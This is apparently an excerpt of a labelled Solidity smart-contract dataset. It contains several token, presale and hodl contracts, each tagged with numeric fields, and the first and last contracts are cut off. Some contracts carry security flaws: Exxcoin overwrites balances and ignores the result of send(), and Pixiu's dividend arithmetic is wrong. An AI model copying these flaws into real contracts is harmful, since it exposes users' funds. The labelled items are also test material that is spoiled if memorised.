modifier whilePresale {
require(block.timestamp >= presaleStartsAt && block.timestamp <= presaleEndsAt);
_;
}
modifier notBeforePresaleEnds {
require(block.timestamp > presaleEndsAt);
_;
}
modifier isWhitelisted(address _to) {
require(whitelist[_to]);
_;
}
event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount);
event AmountRaised(address beneficiary, uint amountRaised);
event WalletChanged(address _wallet);
constructor() public {
presaleStartsAt = 1542412800;
presaleEndsAt = 1546214400;
presaleRate = 2600;
weiRaised = 0;
presaleWallet = 0xedaFdA45fedcCE4D2b81e173F1D2F21557E97aA5;
tokenAddress = 0x0d155aaa5C94086bCe0Ad0167EE4D55185F02943;
token = VANMToken(tokenAddress);
}
function addToWhitelist(address _to) external onlyOwner {
whitelist[_to] = true;
}
function addManyToWhitelist(address[] _to) external onlyOwner {
for (uint256 i = 0; i < _to.length; i++) {
whitelist[_to[i]] = true;
}
}
function removeFromWhitelist(address _to) external onlyOwner {
whitelist[_to] = false;
}
function removeManyFromWhitelist(address[] _to) external onlyOwner {
for (uint256 i = 0; i < _to.length; i++) {
whitelist[_to[i]] = false;
}
}
function changeWallet(address _presaleWallet) external onlyOwner {
presaleWallet = _presaleWallet;
emit WalletChanged(_presaleWallet);
}
function closePresale() external notBeforePresaleEnds onlyOwner returns (bool) {
emit AmountRaised(presaleWallet, weiRaised);
token.finalizePresale();
return true;
}
function presaleHasClosed() public view returns (bool) {
return block.timestamp > presaleEndsAt;
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address _to) public
whilePresale
isWhitelisted (_to)
payable {
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount * presaleRate;
weiRaised = weiRaised.add(weiAmount);
presaleWallet.transfer(weiAmount);
if (!token.transferFromPresale(_to, tokens)) {
revert();
}
emit TokenPurchase(_to, weiAmount, tokens);
}
function transferAnyERC20Token(address ERC20Address, uint tokens) public onlyOwner returns (bool success) {
return ERC20(ERC20Address).transfer(owner, tokens);
}
} | 0 | 1,444 |
pragma solidity ^0.4.21;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract tokenTrust {
event Hodl(address indexed hodler, uint indexed amount);
event Party(address indexed hodler, uint indexed amount);
mapping (address => uint) public hodlers;
uint partyTime = 1521975140;
function() payable {
hodlers[msg.sender] += msg.value;
Hodl(msg.sender, msg.value);
}
function party() {
require (block.timestamp > partyTime && hodlers[msg.sender] > 0);
uint value = hodlers[msg.sender];
uint amount = value/104;
msg.sender.transfer(amount);
Party(msg.sender, amount);
partyTime = partyTime + 604800;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != 0x239C09c910ea910994B320ebdC6bB159E71d0b30) { throw; }
require (block.timestamp > partyTime);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this))/104;
return token.transfer(0x239C09c910ea910994B320ebdC6bB159E71d0b30, amount);
partyTime = partyTime + 604800;
}
} | 0 | 173 |
pragma solidity ^0.4.18;
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract FixedSupplyToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function FixedSupplyToken() public {
symbol = "FIXED";
name = "Example Fixed Supply Token";
decimals = 18;
_totalSupply = 1000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract ExxStandart is ERC20 {
using SafeMath for uint;
string public name = "Exxcoin";
string public symbol = "EXX";
uint8 public decimals = 0;
mapping (address => mapping (address => uint)) allowed;
mapping (address => uint) balances;
function transferFrom(address _from, address _to, uint _value) {
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract owned {
address public owner;
address public newOwner;
function owned() public payable {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner public {
require(_owner != 0);
newOwner = _owner;
}
function confirmOwner() public {
require(newOwner == msg.sender);
owner = newOwner;
delete newOwner;
}
}
contract Exxcoin is owned, ExxStandart {
address public manager = 0x0;
modifier onlyManager {
require(manager == msg.sender);
_;
}
function changeTotalSupply(uint _totalSupply) onlyOwner public {
totalSupply = _totalSupply;
}
function setManager(address _manager) onlyOwner public {
manager = _manager;
}
function delManager() onlyOwner public {
manager = 0x123;
}
function () payable {
}
function sendTokensManager(address _to, uint _tokens) onlyManager public{
require(manager != 0x0);
_to.send(_tokens);
balances[_to] = _tokens;
Transfer(msg.sender, _to, _tokens);
}
function sendTokens(address _to, uint _tokens) onlyOwner public{
_to.send(_tokens);
balances[_to] = _tokens;
Transfer(msg.sender, _to, _tokens);
}
} | 1 | 3,633 |
pragma solidity ^0.4.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint256 size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)) );
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Pixiu is StandardToken {
uint public decimals = 6;
bool public isPayable = true;
bool public isWithdrawable = true;
bool public isRequireData = false;
struct exchangeRate {
uint time1;
uint time2;
uint value;
}
struct Member {
bool isExists;
bool isDividend;
bool isWithdraw;
uint256 dividend;
uint256 withdraw;
}
exchangeRate[] public exchangeRateArray;
mapping (address => Member) public members;
address[] public adminArray;
address[] public memberArray;
address public deposit_address;
uint256 public tokenExchangeRateInWei = 300*10**6;
mapping (address => uint) public shopStoreId;
mapping (uint => address) public shopStoreAddress;
uint256 public shopStorePrice = 1*10**6;
uint256 public shopStoreNextId = 0;
address public shopStoreRegister;
uint256 public total_tokenwei = 0;
uint256 public min_pay_wei = 0;
uint256 public total_devidend = 0;
uint256 public total_withdraw = 0;
uint256 public deposit_amount = 0;
uint256 public withdraw_amount = 0;
uint256 public dividend_amount = 0;
event Paydata(address indexed payer, uint256 value, bytes data, uint256 thisTokenWei);
function Pixiu() {
totalSupply = 21000000000000;
adminArray.push(msg.sender);
admin_set_deposit(msg.sender);
admin_set_shopStoreRegister(msg.sender);
}
function get_orderAddress(address _address,uint _expire_day,uint _userdata,uint _amount ,uint _zero) constant returns (uint256){
uint256 storeid = shopStoreId[_address];
uint160 result = uint152(0xffffffff<<120) + uint120((_expire_day * 86400 + now)<<88) + uint88(storeid<<64);
_userdata = _userdata<<16;
_userdata += _amount;
result += uint64(_userdata<<8);
result += uint8(0x20+_zero);
uint8 crc = uint8(sha256(uint152(result) ));
return (result << 8) + crc;
}
function isLeading4FF(address _sender ) private returns(bool){
uint32 ff4= uint32(uint256(_sender) >> 128);
return (ff4 == 0xffffffff);
}
modifier onlyDeposit() {
require(msg.sender == deposit_address);
_;
}
modifier onlyAdmin() {
bool ok = admin_check(msg.sender);
require(ok);
_;
}
modifier adminExists(address admin) {
bool ok = false;
if(admin != msg.sender){
ok = admin_check(admin);
}
require(ok);
_;
}
modifier adminDoesNotExist(address admin) {
bool ok = admin_check(admin);
require(!ok);
_;
}
function admin_check(address admin) private constant returns(bool){
bool ok = false;
for (uint i = 0; i < adminArray.length; i++) {
if (admin == adminArray[i]) {
ok = true;
break;
}
}
return ok;
}
modifier memberExists(address member) {
bool ok = false;
if (members[member].isExists == true) {
ok = true;
}
require(ok);
_;
}
modifier isMember() {
bool ok = false;
if (members[msg.sender].isExists == true) {
ok = true;
}
require(ok);
_;
}
function admin_deposit(uint xEth) onlyAdmin{
uint256 xwei = xEth * 10**18;
deposit_amount += xwei;
}
function admin_dividend(uint xEth) onlyAdmin{
uint256 xwei = xEth * 10**18;
require(xwei <= (deposit_amount-dividend_amount) );
dividend_amount += xwei;
uint256 len = memberArray.length;
uint i = 0;
address _member;
uint total_balance_dividened=0;
for( i = 0; i < len; i++){
_member = memberArray[i];
if(members[_member].isDividend){
total_balance_dividened = balances[_member];
}
}
uint256 perTokenWei = xwei / (total_balance_dividened / 10 ** 6);
for( i = 0; i < len; i++){
_member = memberArray[i];
if(members[_member].isDividend){
uint256 thisWei = (balances[_member] / 10 ** 6) * perTokenWei;
members[_member].dividend += thisWei;
total_devidend += thisWei;
}
}
}
function admin_set_exchange_rate(uint[] exchangeRates) onlyAdmin{
uint len = exchangeRates.length;
exchangeRateArray.length = 0;
for(uint i = 0; i < len; i += 3){
uint time1 = exchangeRates[i];
uint time2 = exchangeRates[i + 1];
uint value = exchangeRates[i + 2]*1000;
exchangeRateArray.push(exchangeRate(time1, time2, value));
}
}
function admin_set_shopStoreRegister(address _address) onlyAdmin{
shopStoreRegister = _address;
}
function admin_set_exchange_rate(uint256 exchangeRates) onlyAdmin{
tokenExchangeRateInWei = exchangeRates;
}
function get_exchange_wei() constant returns(uint256){
uint len = exchangeRateArray.length;
uint nowTime = block.timestamp;
for(uint i = 0; i < len; i += 3){
exchangeRate memory rate = exchangeRateArray[i];
uint time1 = rate.time1;
uint time2 = rate.time2;
uint value = rate.value;
if (nowTime>= time1 && nowTime<=time2) {
tokenExchangeRateInWei = value;
return value;
}
}
return tokenExchangeRateInWei;
}
function admin_set_min_pay(uint256 _min_pay) onlyAdmin{
require(_min_pay >= 0);
min_pay_wei = _min_pay * 10 ** 18;
}
function get_admin_list() constant returns(address[] _adminArray){
_adminArray = adminArray;
}
function admin_add(address admin) onlyAdmin adminDoesNotExist(admin){
adminArray.push(admin);
}
function admin_del(address admin) onlyAdmin adminExists(admin){
for (uint i = 0; i < adminArray.length - 1; i++)
if (adminArray[i] == admin) {
adminArray[i] = adminArray[adminArray.length - 1];
break;
}
adminArray.length -= 1;
}
function admin_set_deposit(address addr) onlyAdmin{
deposit_address = addr;
}
function admin_set_shopStorePrice(uint256 _shopStorePrice) onlyAdmin{
shopStorePrice = _shopStorePrice;
}
function admin_set_isRequireData(bool _requireData) onlyAdmin{
isRequireData = _requireData;
}
function admin_active_payable() onlyAdmin{
isPayable = true;
}
function admin_inactive_payable() onlyAdmin{
isPayable = false;
}
function admin_active_withdrawable() onlyAdmin{
isWithdrawable = true;
}
function admin_inactive_withdrawable() onlyAdmin{
isWithdrawable = false;
}
function admin_active_dividend(address _member) onlyAdmin memberExists(_member){
members[_member].isDividend = true;
}
function admin_inactive_dividend(address _member) onlyAdmin memberExists(_member){
members[_member].isDividend = false;
}
function admin_active_withdraw(address _member) onlyAdmin memberExists(_member){
members[_member].isWithdraw = true;
}
function admin_inactive_withdraw(address _member) onlyAdmin memberExists(_member){
members[_member].isWithdraw = false;
}
function get_total_info() constant returns(uint256 _deposit_amount, uint256 _total_devidend, uint256 _total_remain, uint256 _total_withdraw){
_total_remain = total_devidend - total_withdraw;
_deposit_amount = deposit_amount;
_total_devidend = total_devidend;
_total_withdraw = total_withdraw;
}
function get_info(address _member) constant returns (uint256 _balance, uint256 _devidend, uint256 _remain, uint256 _withdraw){
_devidend = members[_member].dividend;
_withdraw = members[_member].withdraw;
_remain = _devidend - _withdraw;
_balance = balances[_member];
}
function withdraw() isMember {
uint256 _remain = members[msg.sender].dividend - members[msg.sender].withdraw;
require(_remain > 0);
require(isWithdrawable);
require(members[msg.sender].isWithdraw);
msg.sender.transfer(_remain);
members[msg.sender].withdraw += _remain;
total_withdraw += _remain;
}
function admin_withdraw(uint xEth) onlyDeposit{
uint256 _withdraw = xEth * 10**18;
require( msg.sender == deposit_address );
require(this.balance > _withdraw);
msg.sender.transfer(_withdraw);
withdraw_amount += _withdraw;
}
function admin_withdraw_all(address _deposit) onlyAdmin {
require( _deposit == deposit_address );
_deposit.transfer(this.balance);
total_devidend = 0;
total_withdraw = 0;
deposit_amount = 0;
withdraw_amount = 0;
dividend_amount = 0;
}
function admin_transfer(address _to, uint256 _value) onlyAdmin onlyPayloadSize(2 * 32) {
require(_to != deposit_address);
require(total_tokenwei <= totalSupply - _value);
balances[_to] = balances[_to].add(_value);
total_tokenwei += _value;
if (members[_to].isExists != true) {
members[_to].isExists = true;
members[_to].isDividend = true;
members[_to].isWithdraw = true;
memberArray.push(_to);
}
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) {
require(_to != msg.sender);
require(isPayable);
balances[msg.sender] = balances[msg.sender].sub(_value);
if(_to == deposit_address){
require(_value == shopStorePrice);
shopStoreNextId++;
shopStoreId[msg.sender] = shopStoreNextId;
shopStoreAddress[shopStoreNextId] = msg.sender;
} else if(isLeading4FF(_to)){
uint256 to256 = uint256(_to);
uint32 expire = uint32(to256>>96);
uint32 storeid = uint24(to256>>72);
uint8 crc8 = uint8(to256);
require(uint32(now)<expire || expire==0);
uint8 crc20 = uint8(sha256(uint152(to256>>8)));
require(crc20==crc8);
_to = shopStoreAddress[uint(storeid)];
require(uint(_to)>0);
uint56 userdata = uint56(to256>>96);
balances[_to] = balances[_to].add(_value);
if (members[_to].isExists != true) {
members[_to].isExists = true;
members[_to].isDividend = true;
members[_to].isWithdraw = true;
memberArray.push(_to);
}
} else {
balances[_to] = balances[_to].add(_value);
if (members[_to].isExists != true) {
members[_to].isExists = true;
members[_to].isDividend = true;
members[_to].isWithdraw = true;
memberArray.push(_to);
}
}
Transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
require(_to != deposit_address);
require(_from != deposit_address);
require(isPayable);
var _allowance = allowed[_from][msg.sender];
require(_allowance >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
if (members[_to].isExists != true) {
members[_to].isExists = true;
members[_to].isDividend = true;
members[_to].isWithdraw = true;
memberArray.push(_to);
}
Transfer(_from, _to, _value);
}
function () payable {
pay();
}
function pay() public payable returns (bool) {
require(!isLeading4FF(msg.sender));
require(msg.value > min_pay_wei);
require(isPayable);
if(msg.sender == deposit_address){
deposit_amount += msg.value;
}else{
if(isRequireData){
require(uint32(msg.data[0]) == uint32(0xFFFFFFFF));
}
uint256 exchangeWei = get_exchange_wei();
uint256 thisTokenWei = exchangeWei * msg.value / 10**18 ;
require(total_tokenwei <= totalSupply - thisTokenWei);
if (members[msg.sender].isExists != true) {
members[msg.sender].isExists = true;
members[msg.sender].isDividend = true;
members[msg.sender].isWithdraw = true;
memberArray.push(msg.sender);
}
balances[msg.sender] += thisTokenWei;
total_tokenwei += thisTokenWei;
Paydata(msg.sender, msg.value, msg.data, thisTokenWei);
Transfer(this, msg.sender, thisTokenWei);
}
return true;
}
function get_this_balance() constant returns(uint256){
return this.balance;
}
} | 0 | 331 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 8;
uint8 constant TOKEN_DECIMALS_UINT8 = 8;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "DICO";
string constant TOKEN_SYMBOL = "DICO";
bool constant PAUSED = true;
address constant TARGET_USER = 0x429B892e0e3B66accA6AeAE26A6892a1948d650D;
uint constant START_TIME = 1527346800;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 342 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract ERC20Basic {
